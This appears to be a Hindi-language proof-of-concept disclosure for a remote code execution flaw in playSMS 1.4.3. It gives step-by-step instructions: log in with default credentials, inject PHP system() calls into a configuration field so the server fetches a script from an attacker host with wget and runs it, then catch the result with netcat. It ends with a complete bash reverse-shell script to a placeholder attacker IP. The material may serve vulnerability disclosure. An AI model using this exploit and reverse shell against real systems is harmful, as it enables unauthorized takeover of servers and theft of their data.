CVE-playsms

playsms 1.4.3 में एक कमज़ोरी है जो संभावित हमलावरों को रिमोट कोड निष्पादन करने की अनुमति देती है।

RCE (शेल) को दोबारा उत्पन्न करने की विधि:

https://playsms.org/

• docker pull playsms/playsms:1.4.3
• docker run -d -p 80:80 playsms/playsms
• admin:admin का उपयोग करके लॉगिन करें
• http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• हमलावर मशीन पर दुर्भावनापूर्ण bash फ़ाइल होस्ट करें
• मशीन पर wget का उपयोग करके दुर्भावनापूर्ण फ़ाइल डाउनलोड करें
• दर्ज करें <?php system("/usr/bin/wget http://<attackerIP>/rev.sh"); echo "done" ?>
• जानकारी सहेजें (यह इनपुट बॉक्स से गायब हो जाएगी लेकिन फिर भी काम करेगी)
• http://127.0.0.1/index.php?app=main&inc=core_welcome
• पेज पुनः लोड करें http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• chmod + शेल स्क्रिप्ट निष्पादित करें - <?php system("chmod +x rev.sh && ./rev.sh") ?>)
• सहेजें और कोड निष्पादन पाने के लिए * http://127.0.0.1/index.php?app=main&inc=core_welcome पर जाएँ
• रिमोट शेल पकड़ने के लिए स्थानीय netcat हैंडलर चलाएँ

rev.sh

#!/usr/bin/bash
bash -c "bash -i >& /dev/tcp/<attackerIP>/1234 0>&1"